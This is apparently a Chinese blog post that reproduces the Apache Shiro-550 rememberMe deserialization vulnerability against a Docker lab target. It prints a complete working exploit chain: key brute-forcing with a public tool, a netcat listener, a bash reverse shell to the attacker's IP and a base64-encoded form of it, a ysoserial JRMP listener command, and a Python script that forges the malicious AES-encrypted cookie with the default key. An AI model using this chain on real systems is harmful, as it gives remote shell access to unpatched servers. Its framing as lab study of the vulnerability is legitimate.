前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Shiro反序列化漏洞复现分析(Shiro-550)

Shiro反序列化漏洞复现分析(Shiro-550)

作者头像
R0A1NG
发布2022-02-19 10:15:49
1.9K0
发布2022-02-19 10:15:49
举报
文章被收录于专栏:R0A1NG 技术分享R0A1NG 技术分享

原理

Apache Shiro框架的记住密码功能,用户登录后生成加密编码的cookie。服务端对记住密码产生的cookie进行base64解密,再进行AES解密,之后进行反序列化,导致了反序列化漏洞。 服务端过程:cookie-->base64解密-->AES解密-->反序列化

影响版本

Apache Shiro < 1.2.4

特征判断

返回包中含有rememberMe=deleteMe的字段。

漏洞复现

攻击机:192.168.112.1 靶机:192.168.112.137:5001 1.靶机环境搭建

用docker拉取靶机镜像

docker pull medicean/vulapps:s_shiro_1

创建启动靶机容器

docker run -d -p 5001:8080 medicean/vulapps:s_shiro_1 注:5001为外部映射端口,可自定义

2.漏洞检测利用 检测: 低版本的shiro会使用默认的密钥 先爆破密钥 Github:https://github.com/insightglacier/Shiro_exploit

python shiro_exploit.py -u http://192.168.112.137:5001/

914.jpg
914.jpg

爆破出密钥 利用: 反弹shell 在攻击机监听端口

nc -lvnp 6366

Java Runtime 配合 bash 编码 http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/192.168.112.1/6366 0>&1 bash编码后 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xLzYzNjYgMD4mMQ==}|{base64,-d}|{bash,-i}

通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令,可查看反弹shell连接状况 ysoserial.jar:ysoserial是一款用于生成利用不安全的Java对象反序列化的有效负载的概念验证工具。 攻击机监听6666端口

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections2 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMi4xLzYzNjYgMD4mMQ==}|{base64,-d}|{bash,-i}"

183419.jpg
183419.jpg

用python生成payload

代码语言:javascript
复制
# -*- coding: utf-8 -*-
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")  # 替换刚才爆破的密钥
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    ip_port = '192.168.112.1:6666'      # IP是攻击者IP,端口为ysoserial中JRMP监听模块的端口
    payload = encode_rememberme(ip_port)
    print("rememberMe={0}".format(payload.decode()))
1759.jpg
1759.jpg

生成payload 随便输入账号密码,然后选择RememberMe,使用burp抓包,把刚才生成的payload添加到cookie中。

3247.jpg
3247.jpg

发送请求,监听成功

84010.jpg
84010.jpg
107.jpg
107.jpg
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021 年 10 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 原理
  • 影响版本
  • 特征判断
  • 漏洞复现
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档